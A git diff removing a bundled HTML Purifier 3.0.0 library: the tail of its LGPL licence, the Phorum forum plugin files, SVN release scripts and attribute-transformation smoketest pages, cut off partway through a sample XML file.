HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH -DAMAGES. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Libraries - - If you develop a new library, and you want it to be of the greatest -possible use to the public, we recommend making it free software that -everyone can redistribute and change. You can do so by permitting -redistribution under these terms (or, alternatively, under the terms of the -ordinary General Public License). - - To apply these terms, attach the following notices to the library. It is -safest to attach them to the start of each source file to most effectively -convey the exclusion of warranty; and each file should have at least the -"copyright" line and a pointer to where the full notice is found. - - <one line to give the library's name and a brief idea of what it does.> - Copyright (C) <year> <name of author> - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - -Also add information on how to contact you by electronic and paper mail. - -You should also get your employer (if you work as a programmer) or your -school, if any, to sign a "copyright disclaimer" for the library, if -necessary. Here is a sample; alter the names: - - Yoyodyne, Inc., hereby disclaims all copyright interest in the - library `Frob' (a library for tweaking knobs) written by James Random Hacker. - - <signature of Ty Coon>, 1 April 1990 - Ty Coon, President of Vice - -That's all there is to it! - - diff --git a/lib/htmlpurifier-3.0.0/plugins/phorum/htmlpurifier/README b/lib/htmlpurifier-3.0.0/plugins/phorum/htmlpurifier/README deleted file mode 100644 index 65334fb..0000000 --- a/lib/htmlpurifier-3.0.0/plugins/phorum/htmlpurifier/README +++ /dev/null @@ -1 +0,0 @@ -The contents of the library/ folder should be here. diff --git a/lib/htmlpurifier-3.0.0/plugins/phorum/info.txt b/lib/htmlpurifier-3.0.0/plugins/phorum/info.txt deleted file mode 100644 index ed2f4ae..0000000 --- a/lib/htmlpurifier-3.0.0/plugins/phorum/info.txt +++ /dev/null @@ -1,8 +0,0 @@ -hook: format|phorum_htmlpurifier_format -hook: quote|phorum_htmlpurifier_quote -hook: posting_custom_action|phorum_htmlpurifier_posting -hook: common|phorum_htmlpurifier_common -hook: before_editor|phorum_htmlpurifier_before_editor -hook: tpl_editor_after_subject|phorum_htmlpurifier_editor_after_subject -title: HTML Purifier Phorum Mod -desc: This module enables standards-compliant HTML filtering on Phorum. Please check migrate.bbcode.php before enabling this mod. \ No newline at end of file diff --git a/lib/htmlpurifier-3.0.0/plugins/phorum/init-config.php b/lib/htmlpurifier-3.0.0/plugins/phorum/init-config.php deleted file mode 100644 index c279f67..0000000 --- a/lib/htmlpurifier-3.0.0/plugins/phorum/init-config.php +++ /dev/null @@ -1,27 +0,0 @@ -<?php - -/** - * Initializes the appropriate configuration from either a PHP file - * or a module configuration value - * @return Instance of HTMLPurifier_Config - */ -function phorum_htmlpurifier_get_config() { - global $PHORUM; - $config_exists = phorum_htmlpurifier_config_file_exists(); - if ($config_exists || !isset($PHORUM['mod_htmlpurifier']['config'])) { - $config = HTMLPurifier_Config::createDefault(); - include(dirname(__FILE__) . '/config.default.php'); - if ($config_exists) { - include(dirname(__FILE__) . '/config.php'); - } - unset($PHORUM['mod_htmlpurifier']['config']); // unnecessary - } else { - $config = HTMLPurifier_Config::create($PHORUM['mod_htmlpurifier']['config']); - } - return $config; -} - -function phorum_htmlpurifier_config_file_exists() { - return file_exists(dirname(__FILE__) . '/config.php'); -} - diff --git a/lib/htmlpurifier-3.0.0/plugins/phorum/install.txt b/lib/htmlpurifier-3.0.0/plugins/phorum/install.txt deleted file mode 100644 index d184893..0000000 --- a/lib/htmlpurifier-3.0.0/plugins/phorum/install.txt +++ /dev/null @@ -1,33 +0,0 @@ - -HTML Purifier Phorum Mod - Filter your HTML the Standards-Compliant Way! - -This Phorum mod enables HTML posting on Phorum. Under normal circumstances, -this would cause a huge security risk, but because we are running -HTML through HTML Purifier, output is guaranteed to be XSS free and -standards-compliant. - -This mod requires HTML input, and previous markup languages need to be -converted accordingly. Thus, it is vital that you create a 'migrate.php' -file that works with your installation. If you're using the built-in -BBCode formatting, simply move migrate.bbcode.php to that place; for -other markup languages, consult said file for instructions on how -to adapt it to your needs. - -This module will not work if 'migrate.php' is not created, and an improperly -made migration file may *CORRUPT* Phorum, so please take your time to -do this correctly. It should go without saying to *BACKUP YOUR DATABASE* -before attempting anything here. - -This module will not automatically migrate user signatures, because this -process may take a long time. After installing the HTML Purifier module and -then configuring 'migrate.php', navigate to Settings and click 'Migrate -Signatures' to migrate all user signatures. - -The version of HTML Purifier bundled with is a custom modified 2.0.1. -Do not attempt to replace it with a version equal to or less than -downloaded from the HTML Purifier website: the module will combust -spectacularly. (Greater versions, however, are okay, because the changes -made to accomodate this module have been committed to the trunk). - -Visit HTML Purifier at <http://htmlpurifier.org/>. May the force -be with you. diff --git a/lib/htmlpurifier-3.0.0/plugins/phorum/migrate.bbcode.php b/lib/htmlpurifier-3.0.0/plugins/phorum/migrate.bbcode.php deleted file mode 100644 index 58316b0..0000000 --- a/lib/htmlpurifier-3.0.0/plugins/phorum/migrate.bbcode.php +++ /dev/null @@ -1,28 +0,0 @@ -<?php - -/** - * This file is responsible for migrating from a specific markup language - * like BBCode or Markdown to HTML. WARNING: THIS PROCESS IS NOT REVERSIBLE - * - * Copy this file to 'migrate.php' and it will automatically work for - * BBCode; you may need to tweak this a little to get it to work for other - * languages (usually, just replace the include name and the function name). - * - * If you do NOT want to have any migration performed (for instance, you - * are installing the module on a new forum with no posts), simply remove - * phorum_htmlpurifier_migrate() function. You still need migrate.php - * present, otherwise the module won't work. - */ - -if(!defined("PHORUM")) exit; - -require_once(dirname(__FILE__) . "/../bbcode/bbcode.php"); - -/** - * 'format' hook style function that will be called to convert - * legacy markup into HTML. - */ -function phorum_htmlpurifier_migrate($data) { - return phorum_bb_code($data); // bbcode's 'format' hook -} - diff --git a/lib/htmlpurifier-3.0.0/plugins/phorum/settings.php b/lib/htmlpurifier-3.0.0/plugins/phorum/settings.php deleted file mode 100644 index 4754d8b..0000000 --- a/lib/htmlpurifier-3.0.0/plugins/phorum/settings.php +++ /dev/null @@ -1,63 +0,0 @@ -<?php - -// based off of BBCode's settings file - -/** - * HTML Purifier Phorum mod settings configuration. This provides - * a convenient web-interface for editing the most common HTML Purifier - * configuration directives. You can also specify custom configuration - * by creating a 'config.php' file. - */ - -if(!defined("PHORUM_ADMIN")) exit; - -// error reporting is good! -error_reporting(E_ALL ^ E_NOTICE); - -// load library and other paraphenalia -require_once './include/admin/PhorumInputForm.php'; -require_once (dirname(__FILE__) . '/htmlpurifier/HTMLPurifier.auto.php'); -require_once (dirname(__FILE__) . '/init-config.php'); -require_once (dirname(__FILE__) . '/settings/migrate-sigs-form.php'); -require_once (dirname(__FILE__) . '/settings/migrate-sigs.php'); -require_once (dirname(__FILE__) . '/settings/form.php'); -require_once (dirname(__FILE__) . '/settings/save.php'); - -// define friendly configuration directives. you can expand this array -// to get more web-definable directives -$PHORUM['mod_htmlpurifier']['directives'] = array( - 'URI.Host', // auto-detectable - 'URI.DisableExternal', - 'URI.DisableExternalResources', - 'URI.DisableResources', - 'URI.Munge', - 'URI.HostBlacklist', - 'URI.Disable', - 'HTML.TidyLevel', - 'HTML.Doctype', // auto-detectable - 'HTML.Allowed', - 'AutoFormat', - '-AutoFormat.Custom', - '-AutoFormat.PurifierLinkify', - 'Output.TidyFormat', -); - -// lower this setting if you're getting time outs/out of memory -$PHORUM['mod_htmlpurifier']['migrate-sigs-increment'] = 100; - -if (isset($_POST['reset'])) { - unset($PHORUM['mod_htmlpurifier']['config']); -} - -if ($offset = phorum_htmlpurifier_migrate_sigs_check()) { - // migrate signatures - phorum_htmlpurifier_migrate_sigs($offset); -} elseif(!empty($_POST)){ - // save settings - phorum_htmlpurifier_save_settings(); -} - -phorum_htmlpurifier_show_migrate_sigs_form(); -echo '<br />'; -phorum_htmlpurifier_show_form(); - diff --git a/lib/htmlpurifier-3.0.0/plugins/phorum/settings/form.php b/lib/htmlpurifier-3.0.0/plugins/phorum/settings/form.php deleted file mode 100644 index b957b8d..0000000 --- a/lib/htmlpurifier-3.0.0/plugins/phorum/settings/form.php +++ /dev/null @@ -1,79 +0,0 @@ -<?php - -function phorum_htmlpurifier_show_form() { - if (phorum_htmlpurifier_config_file_exists()) { - phorum_htmlpurifier_show_config_info(); - return; - } - - global $PHORUM; - - $config = phorum_htmlpurifier_get_config(); - - $frm = new PhorumInputForm ("", "post", "Save"); - $frm->hidden("module", "modsettings"); - $frm->hidden("mod", "htmlpurifier"); // this is the directory name that the Settings file lives in - - if (!empty($error)){ - echo "$error<br />"; - } - - $frm->addbreak("Edit settings for the HTML Purifier module"); - - $frm->addMessage('<p>Click on directive links to read what each option does - (links do not open in new windows).</p> - <p>For more flexibility (for instance, you want to edit the full - range of configuration directives), you can create a <tt>config.php</tt> - file in your <tt>mods/htmlpurifier/</tt> directory. Doing so will, - however, make the web configuration interface unavailable.</p>'); - - require_once 'HTMLPurifier/Printer/ConfigForm.php'; - $htmlpurifier_form = new HTMLPurifier_Printer_ConfigForm('config', 'http://htmlpurifier.org/live/configdoc/plain.html#%s'); - $htmlpurifier_form->setTextareaDimensions(23, 7); // widen a little, since we have space - - $frm->addMessage($htmlpurifier_form->render( - $config, $PHORUM['mod_htmlpurifier']['directives'], false)); - - $frm->addMessage("<strong>Warning: Changing HTML Purifier's configuration will invalidate - the cache. Expect to see a flurry of database activity after you change - any of these settings.</strong>"); - - $frm->addrow('Reset to defaults:', $frm->checkbox("reset", "1", "", false)); - - // hack to include extra styling - echo '<style type="text/css">' . $htmlpurifier_form->getCSS() . ' - .hp-config {margin-left:auto;margin-right:auto;} - </style>'; - $js = $htmlpurifier_form->getJavaScript(); - echo '<script type="text/javascript">'."<!--\n$js\n//-->".'</script>'; - - $frm->show(); -} - -function phorum_htmlpurifier_show_config_info() { - global $PHORUM; - - // update mod_htmlpurifier for housekeeping - phorum_htmlpurifier_commit_settings(); - - // politely tell user how to edit settings manually -?> - <div class="input-form-td-break">How to edit settings for HTML Purifier module</div> - <p> - A <tt>config.php</tt> file exists in your <tt>mods/htmlpurifier/</tt> - directory. This file contains your custom configuration: in order to - change it, please navigate to that file and edit it accordingly. - </p> - <p> - To use the web interface, delete <tt>config.php</tt> (or rename it to - <tt>config.php.bak</tt>). - </p> - <p> - <strong>Warning: Changing HTML Purifier's configuration will invalidate - the cache. Expect to see a flurry of database activity after you change - any of these settings.</strong> - </p> -<?php - -} - diff --git a/lib/htmlpurifier-3.0.0/plugins/phorum/settings/migrate-sigs-form.php b/lib/htmlpurifier-3.0.0/plugins/phorum/settings/migrate-sigs-form.php deleted file mode 100644 index ad4877b..0000000 --- a/lib/htmlpurifier-3.0.0/plugins/phorum/settings/migrate-sigs-form.php +++ /dev/null @@ -1,21 +0,0 @@ -<?php - -function phorum_htmlpurifier_show_migrate_sigs_form() { - - $frm = new PhorumInputForm ('', "post", "Migrate"); - $frm->hidden("module", "modsettings"); - $frm->hidden("mod", "htmlpurifier"); - $frm->hidden("migrate-sigs", "1"); - $frm->addbreak("Migrate user signatures to HTML"); - $frm->addMessage('This operation will migrate your users signatures - to HTML. <strong>This process is irreversible and must only be performed once.</strong> - Type in yes in the confirmation field to migrate.'); - if (!file_exists(dirname(__FILE__) . '/../migrate.php')) { - $frm->addMessage('Migration file does not exist, cannot migrate signatures. - Please check <tt>migrate.bbcode.php</tt> on how to create an appropriate file.'); - } else { - $frm->addrow('Confirm:', $frm->text_box("confirmation", "")); - } - $frm->show(); -} - diff --git a/lib/htmlpurifier-3.0.0/plugins/phorum/settings/migrate-sigs.php b/lib/htmlpurifier-3.0.0/plugins/phorum/settings/migrate-sigs.php deleted file mode 100644 index fd990be..0000000 --- a/lib/htmlpurifier-3.0.0/plugins/phorum/settings/migrate-sigs.php +++ /dev/null @@ -1,85 +0,0 @@ -<?php - -function phorum_htmlpurifier_migrate_sigs_check() { - global $PHORUM; - $offset = 0; - if (!empty($_POST['migrate-sigs'])) { - if (!isset($_POST['confirmation']) || strtolower($_POST['confirmation']) !== 'yes') { - echo 'Invalid confirmation code.'; - exit; - } - $PHORUM['mod_htmlpurifier']['migrate-sigs'] = true; - phorum_db_update_settings(array("mod_htmlpurifier"=>$PHORUM["mod_htmlpurifier"])); - $offset = 1; - } elseif (!empty($_GET['migrate-sigs']) && $PHORUM['mod_htmlpurifier']['migrate-sigs']) { - $offset = (int) $_GET['migrate-sigs']; - } - return $offset; -} - -function phorum_htmlpurifier_migrate_sigs($offset) { - global $PHORUM; - - if(!$offset) return; // bail out quick if $offset == 0 - - // theoretically, we could get rid of this multi-request - // doo-hickery if safe mode is off - @set_time_limit(0); // attempt to let this run - $increment = $PHORUM['mod_htmlpurifier']['migrate-sigs-increment']; - - require_once(dirname(__FILE__) . '/../migrate.php'); - // migrate signatures - // do this in batches so we don't run out of time/space - $end = $offset + $increment; - $user_ids = array(); - for ($i = $offset; $i < $end; $i++) { - $user_ids[] = $i; - } - $userinfos = phorum_db_user_get_fields($user_ids, 'signature'); - foreach ($userinfos as $i => $user) { - if (empty($user['signature'])) continue; - $sig = $user['signature']; - // perform standard Phorum processing on the sig - $sig = str_replace(array("&","<",">"), array("&amp;","&lt;","&gt;"), $sig); - $sig = preg_replace("/<((http|https|ftp):\/\/[a-z0-9;\/\?:@=\&\$\-_\.\+!*'\(\),~%]+?)>/i", "$1", $sig); - // prepare fake data to pass to migration function - $fake_data = array(array("author"=>"", "email"=>"", "subject"=>"", 'body' => $sig)); - list($fake_message) = phorum_htmlpurifier_migrate($fake_data); - $user['signature'] = $fake_message['body']; - if (!phorum_user_save($user)) { - exit('Error while saving user data'); - } - } - unset($userinfos); // free up memory - - // query for highest ID in database - $type = $PHORUM['DBCONFIG']['type']; - $sql = "select MAX(user_id) from {$PHORUM['user_table']}"; - if ($type == 'mysql') { - $conn = phorum_db_mysql_connect(); - $res = mysql_query($sql, $conn); - $row = mysql_fetch_row($res); - } elseif ($type == 'mysqli') { - $conn = phorum_db_mysqli_connect(); - $res = mysqli_query($conn, $sql); - $row = mysqli_fetch_row($res); - } else { - exit('Unrecognized database!'); - } - $top_id = (int) $row[0]; - - $offset += $increment; - if ($offset > $top_id) { // test for end condition - echo 'Migration finished'; - $PHORUM['mod_htmlpurifier']['migrate-sigs'] = false; - phorum_htmlpurifier_commit_settings(); - return true; - } - $host = $_SERVER['HTTP_HOST']; - $uri = rtrim(dirname($_SERVER['PHP_SELF']), '/\\'); - $extra = 'admin.php?module=modsettings&mod=htmlpurifier&migrate-sigs=' . $offset; - // relies on output buffering to work - header("Location: http://$host$uri/$extra"); - exit; - -} diff --git a/lib/htmlpurifier-3.0.0/plugins/phorum/settings/save.php b/lib/htmlpurifier-3.0.0/plugins/phorum/settings/save.php deleted file mode 100644 index a08b831..0000000 --- a/lib/htmlpurifier-3.0.0/plugins/phorum/settings/save.php +++ /dev/null @@ -1,23 +0,0 @@ -<?php - -function phorum_htmlpurifier_save_settings() { - global $PHORUM; - if (phorum_htmlpurifier_config_file_exists()) { - echo "Cannot update settings, <code>mods/htmlpurifier/config.php</code> already exists. To change - settings, edit that file. To use the web form, delete that file.<br />"; - } else { - $config = phorum_htmlpurifier_get_config(); - if (!isset($_POST['reset'])) $config->mergeArrayFromForm($_POST, 'config', $PHORUM['mod_htmlpurifier']['directives']); - $PHORUM['mod_htmlpurifier']['config'] = $config->getAll(); - if(!phorum_htmlpurifier_commit_settings()){ - $error="Database error while updating settings."; - } else { - echo "Settings Updated<br />"; - } - } -} - -function phorum_htmlpurifier_commit_settings() { - global $PHORUM; - return phorum_db_update_settings(array("mod_htmlpurifier"=>$PHORUM["mod_htmlpurifier"])); -} diff --git a/lib/htmlpurifier-3.0.0/release1-update.php b/lib/htmlpurifier-3.0.0/release1-update.php deleted file mode 100644 index 5e6d354..0000000 --- a/lib/htmlpurifier-3.0.0/release1-update.php +++ /dev/null @@ -1,94 +0,0 @@ -<?php - -// release script -// PHP 5.0 only - -if (php_sapi_name() != 'cli') { - echo 'Release script cannot be called from web-browser.'; - exit; -} - -if (!isset($argv[1])) { - echo -'php release.php [version] - HTML Purifier release script -'; - exit; -} - -$version = trim($argv[1]); - -// Bump version numbers: - -// ...in VERSION -file_put_contents('VERSION', $version); - -// ...in NEWS -$date = date('Y-m-d'); -$news_c = str_replace( - $l = "$version, unknown release date", - "$version, released $date", - file_get_contents('NEWS'), - $c -); -if (!$c) { - echo 'Could not update NEWS, missing ' . $l . PHP_EOL; - exit; -} elseif ($c > 1) { - echo 'More than one release declaration in NEWS replaced' . PHP_EOL; - exit; -} -file_put_contents('NEWS', $news_c); - -// ...in Doxyfile -$doxyfile_c = preg_replace( - '/(?<=PROJECT_NUMBER {9}= )[^\s]+/m', // brittle - $version, - file_get_contents('Doxyfile'), - 1, $c -); -if (!$c) { - echo 'Could not update Doxyfile, missing PROJECT_NUMBER.' . PHP_EOL; - exit; -} -file_put_contents('Doxyfile', $doxyfile_c); - -// ...in HTMLPurifier.php -$htmlpurifier_c = file_get_contents('library/HTMLPurifier.php'); -$htmlpurifier_c = preg_replace( - '/HTML Purifier .+? - /', - "HTML Purifier $version - ", - $htmlpurifier_c, - 1, $c -); -if (!$c) { - echo 'Could not update HTMLPurifier.php, missing HTML Purifier [version] header.' . PHP_EOL; - exit; -} -$htmlpurifier_c = preg_replace( - '/public \$version = \'.+?\';/', - "public \$version = '$version';", - $htmlpurifier_c, - 1, $c -); -if (!$c) { - echo 'Could not update HTMLPurifier.php, missing var $version.' . PHP_EOL; - exit; -} -file_put_contents('library/HTMLPurifier.php', $htmlpurifier_c); - -$config_c = file_get_contents('library/HTMLPurifier/Config.php'); -$config_c = preg_replace( - '/public \$version = \'.+?\';/', - "public \$version = '$version';", - $config_c, - 1, $c -); -if (!$c) { - echo 'Could not update Config.php, missing var $version.' . PHP_EOL; - exit; -} -file_put_contents('library/HTMLPurifier/Config.php', $config_c); - -echo "Review changes, write something in WHATSNEW, and then SVN commit with log 'Release $version.'" . PHP_EOL; - diff --git a/lib/htmlpurifier-3.0.0/release2-strict.php b/lib/htmlpurifier-3.0.0/release2-strict.php deleted file mode 100644 index 51e8aa9..0000000 --- a/lib/htmlpurifier-3.0.0/release2-strict.php +++ /dev/null @@ -1,30 +0,0 @@ -<?php - -// Merges in changes from trunk to strict branch -// WORKING COPY MUST BE POINTED TO STRICT BRANCH - -if (php_sapi_name() != 'cli') { - echo 'Release script cannot be called from web-browser.'; - exit; -} - -require 'svn.php'; - -$svn_info = svn_info('.'); - -$last_rev = (int) $svn_info['Last Changed Rev']; -$trunk_url = $svn_info['Repository Root'] . '/htmlpurifier/trunk'; -echo "Last revision was $last_rev, merging from $last_rev to head.\n"; - -$merge_cmd = "svn merge -r $last_rev:HEAD $trunk_url ."; -$out = explode("\n", shell_exec($merge_cmd)); - -echo "Conflicted files:\n"; -foreach ($out as $line) { - if (empty($line)) continue; - if ($line{0} === 'C' || $line{1} === 'C') echo $line . "\n"; -} - -$version = trim(file_get_contents('VERSION')); -echo "Resolve conflicts and then commit as 'Release $version, merged in $last_rev to HEAD.'"; - diff --git a/lib/htmlpurifier-3.0.0/release3-tag.php b/lib/htmlpurifier-3.0.0/release3-tag.php deleted file mode 100644 index 3c0a4ee..0000000 --- a/lib/htmlpurifier-3.0.0/release3-tag.php +++ /dev/null @@ -1,25 +0,0 @@ -<?php - -// Tags releases - -if (php_sapi_name() != 'cli') { - echo 'Release script cannot be called from web-browser.'; - exit; -} - -require 'svn.php'; - -$svn_info = svn_info('.'); - -$version = trim(file_get_contents('VERSION')); - -$trunk_url = $svn_info['Repository Root'] . '/htmlpurifier/trunk'; -$strict_url = $svn_info['Repository Root'] . '/htmlpurifier/branches/strict'; -$trunk_tag_url = $svn_info['Repository Root'] . '/htmlpurifier/tags/' . $version; -$strict_tag_url = $svn_info['Repository Root'] . '/htmlpurifier/tags/' . $version . '-strict'; - -echo "Tagging trunk to tags/$version..."; -passthru("svn copy --message \"Tag $version release.\" $trunk_url $trunk_tag_url"); -echo "Tagging strict to tags/$version-strict..."; -passthru("svn copy --message \"Tag $version-strict release.\" $strict_url $strict_tag_url"); - diff --git a/lib/htmlpurifier-3.0.0/smoketests/all.php b/lib/htmlpurifier-3.0.0/smoketests/all.php deleted file mode 100644 index b17ce22..0000000 --- a/lib/htmlpurifier-3.0.0/smoketests/all.php +++ /dev/null @@ -1,41 +0,0 @@ -<?php - -require_once 'common.php'; - -header('Content-type: text/html; charset=UTF-8'); -echo '<?xml version="1.0" encoding="UTF-8" ?>'; - -?><!DOCTYPE html - PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-loose.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> -<head> - <title>HTML Purifier: All Smoketests</title> - <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> - <style type="text/css"> - #content {margin:5em;} - iframe {width:100%;height:30em;} - </style> -</head> -<body> -<h1>HTML Purifier: All Smoketests</h1> -<div id="content"> -<?php - -$dir = './'; -$dh = opendir($dir); -while (false !== ($filename = readdir($dh))) { - if ($filename[0] == '.') continue; - if (strpos($filename, '.php') === false) continue; - if ($filename == 'common.php') continue; - if ($filename == 'all.php') continue; - if ($filename == 'testSchema.php') continue; - ?> - <iframe src="<?php echo escapeHTML($filename); if (isset($_GET['standalone'])) {echo '?standalone';} ?>"></iframe> - <?php -} - -?> -</div> -</body> -</html> diff --git a/lib/htmlpurifier-3.0.0/smoketests/attrTransform.php b/lib/htmlpurifier-3.0.0/smoketests/attrTransform.php deleted file mode 100644 index e1cf7a4..0000000 --- a/lib/htmlpurifier-3.0.0/smoketests/attrTransform.php +++ /dev/null @@ -1,69 +0,0 @@ -<?php - -require 'common.php'; - -?><!DOCTYPE html - PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-loose.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> -<head> - <title>HTML Purifier Attribute Transformation Smoketest</title> - <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> - <style type="text/css"> - div.container {position:relative;height:120px;border:1px solid #CCC; - margin-bottom:1em; width:225px; float:left; margin-top:1em; - margin-right:1em;} - h2 {clear:left;margin-bottom:0;} - div.container.legend .test {text-align:center;line-height:100px;} - div.test {width:100px;height:100px;border:1px solid black; - position:absolute;top:10px;overflow:auto;} - div.test.html {left:10px;border-right:none;background:#FCC;} - div.test.css {left:110px;background:#CFC;} - img.marked {border:1px solid #000;background:#FFF;} - table.bright {background-color:#F00;} - hr.short {width:50px;} - </style> -</head> -<body> -<h1>HTML Purifier Attribute Transformation Smoketest</h1> -<div class="container legend"> -<div class="test html"> - HTML -</div> -<div class="test css"> - CSS -</div> -</div> -<?php - -if (version_compare(PHP_VERSION, '5', '<')) exit('<p>Requires PHP 5.</p>'); - -$xml = simplexml_load_file('attrTransform.xml'); - -// attr transform enabled HTML Purifier -$config = HTMLPurifier_Config::createDefault(); -$config->set('HTML', 'Doctype', 'XHTML 1.0 Strict'); -$purifier = new HTMLPurifier($config); - -$title = isset($_GET['title']) ? $_GET['title'] : true; - -foreach ($xml->group as $group) { - echo '<h2>' . $group['title'] . '</h2>'; - foreach ($group->sample as $sample) { - $sample = (string) $sample; -?> -<div class="container"> -<div class="test html"> - <?php echo $sample; ?> -</div> -<div class="test css"> - <?php echo $purifier->purify($sample); ?> -</div> -</div> -<?php - } -} - -?> -</body> -</html> diff --git a/lib/htmlpurifier-3.0.0/smoketests/attrTransform.xml b/lib/htmlpurifier-3.0.0/smoketests/attrTransform.xml deleted file mode 100644 index ca0ee5b..0000000 --- a/lib/htmlpurifier-3.0.0/smoketests/attrTransform.xml +++ /dev/null @@ -1,189 +0,0 @@ -<?xml version="1.0"?> -<samples> - <group title="menu,dir"> - <sample><![CDATA[<menu><li>menu</li></menu>]]></sample> - <sample><![CDATA[<dir><li>dir</li></dir>]]></sample> - </group> - <group title="font"> - <sample><![CDATA[<font color="red">Red</font>]]></sample> - <sample><![CDATA[<font color="#0000FF">#0000FF</font>]]></sample> - <sample><![CDATA[<font face="Arial">Arial</font>]]></sample> - </group> - <group title="font.size"> - <sample><![CDATA[<font size="-2">-2</font>]]></sample> - <sample><![CDATA[<font size="-1">-1</font>]]></sample> - <sample><![CDATA[<font size="0">0</font>]]></sample> - <sample><![CDATA[<font size="1">1</font>]]></sample> - <sample><![CDATA[<font size="2">2</font>]]></sample> - <sample><![CDATA[<font size="3">3</font>]]></sample> - <sample><![CDATA[<font size="4">4</font>]]></sample> - <sample><![CDATA[<font size="5">5</font>]]></sample> - <sample><![CDATA[<font size="6">6</font>]]></sample> - <sample><![CDATA[<font size="7">7</font>]]></sample> - <sample><![CDATA[<font size="8">8</font>]]></sample> - <sample><![CDATA[<font size="+1">+1</font>]]></sample> - <sample><![CDATA[<font size="+2">+2</font>]]></sample> - <sample><![CDATA[<font size="+3">+3</font>]]></sample> - <sample><![CDATA[<font size="+4">+4</font>]]></sample> - <sample><![CDATA[<font size="+5">+5</font>]]></sample> - </group> - <group title="center"> - <sample><![CDATA[<center>Centered</center>]]></sample> - </group> - <group title="p.align"> - <sample><![CDATA[<p align="left">Left</p>]]></sample> - <sample><![CDATA[<p align="center">Center</p>]]></sample> - <sample><![CDATA[<p align="right">Right</p>]]></sample> - </group> - <group title="table.bgcolor"> - <sample><![CDATA[ - <table bgcolor="black" cellspacing="2" cellpadding="2" border="1"> - <tr bgcolor="red"> - <th bgcolor="green">To</th> - <td bgcolor="blue">Be</td> - </tr> - <tr> - <th bgcolor="green">Or</th> - <td>Not</td> - </tr> - <tr bgcolor="red"> - <th>To</th> - <td>Be</td> - </tr> - </table> - ]]></sample> - <sample><![CDATA[ - <table class="bright" bgcolor="black" cellspacing="2" cellpadding="2" border="1"> - <tr> - <th bgcolor="green">Or</th> - <td>Not</td> - </tr> - <tr bgcolor="blue"> - <th bgcolor="green">To</th> - <td>Be</td> - </tr> - </table> - ]]></sample> - </group> - <group title="img.border"> - <sample><![CDATA[<img src="img.png" alt="I" border="2" />]]></sample> - <sample><![CDATA[<a href="http://example.com/"><img src="img.png" alt="I" border="2" /></a>]]></sample> - </group> - <group title="td,th,hr.width"> - <sample><![CDATA[ - <table border="1"> - <tr> - <th width="20">x1</th> - <td width="40">x2</td> - </tr> - </table> - ]]></sample> - <sample><![CDATA[ - <table border="1"> - <tr> - <th width="33%">x1</th> - <td width="67%">x2</td> - </tr> - </table> - ]]></sample> - <sample><![CDATA[<hr width="70%" /><hr width="30" />]]></sample> - </group> - <group title="td,th.nowrap"> - <sample><![CDATA[ - <table border="1"> - <tr> - <th>This wants to wrap</th> - <td>really badly yes it does</td> - </tr> - </table> - ]]></sample> - <sample><![CDATA[ - <table border="1"> - <tr> - <th nowrap>This wants to wrap</th> - <td nowrap>really badly yes it does</td> - </tr> - </table> - ]]></sample> - </group> - <group title="td,th.height"> - <sample><![CDATA[<table border="1"><tr><td height="60">tall</td></tr></table>]]></sample> - </group> - <group title="img.vspace,hspace"> - <sample><![CDATA[a<img src="img.png" alt="I" class="marked" hspace="7" />a]]></sample> - <sample><![CDATA[<img src="img.png" alt="I" class="marked" vspace="7" /><br />o]]></sample> - </group> - <group title="hr"> - <sample><![CDATA[<hr size="4" />]]></sample> - <sample><![CDATA[<hr size="50" noshade />]]></sample> - </group> - <group title="br.clear"> - <sample><![CDATA[<img src="img.png" alt="I" align="right" />B<br />A]]></sample> - <sample><![CDATA[<img src="img.png" alt="I" align="right" />B<br clear="right" />A]]></sample> - <sample><![CDATA[<img src="img.png" alt="I" align="right" /><img src="img.png" alt="I" align="left" />B<br />A]]></sample> - <sample><![CDATA[<img src="img.png" alt="I" align="right" /><img src="img.png" alt="I" align="left" />B<br clear="all" />A]]></sample> - </group> - <group title="caption.align"> - <sample><![CDATA[ - <table border="1"> - <caption align="left">Left</caption> - <tr><td>1.1</td><td>1.2</td></tr> - </table> - ]]></sample> - <sample><![CDATA[ - <table border="1"> - <caption align="right">Right</caption> - <tr><td>1.1</td><td>1.2</td></tr> - </table> - ]]></sample> - <sample><![CDATA[ - <table border="1"> - <caption align="top">Top</caption> - <tr><td>1.1</td><td>1.2</td></tr> - </table> - ]]></sample> - <sample><![CDATA[ - <table border="1"> - <caption align="bottom">Bottom</caption> - <tr><td>1.1</td><td>1.2</td></tr> - </table> - ]]></sample> - </group> - <group title="img.align"> - <sample><![CDATA[left<img src="img.png" alt="I" class="marked" align="left" />]]></sample> - <sample><![CDATA[right<img src="img.png" alt="I" class="marked" align="right" />]]></sample> - <sample><![CDATA[o<img src="img.png" alt="I" class="marked" align="top" /> top]]></sample> - <sample><![CDATA[o<img src="img.png" alt="I" class="marked" align="bottom" /> bottom]]></sample> - <sample><![CDATA[o<img src="img.png" alt="I" class="marked" align="middle" /> middle]]></sample> - </group> - <group title="table.align"> - <sample><![CDATA[a<table align="left" class="bright"><tr><td>left</td></tr></table>a]]></sample> - <sample><![CDATA[a<table align="center" class="bright"><tr><td>center</td></tr></table>a]]></sample> - <sample><![CDATA[a<table align="right" class="bright"><tr><td>right</td></tr></table>a]]></sample> - </group> - <group title="hr.align"> - <sample><![CDATA[<hr align="left" class="short" />left]]></sample> - <sample><![CDATA[<hr align="center" class="short" />center]]></sample> - <sample><![CDATA[<hr align="right" class="short" />right]]></sample> - </group> - <group title="ul,ol,li.type"> - <sample><![CDATA[<ul type="disc"><li>1</li><li>2</li></ul>]]></sample> - <sample><![CDATA[<ul 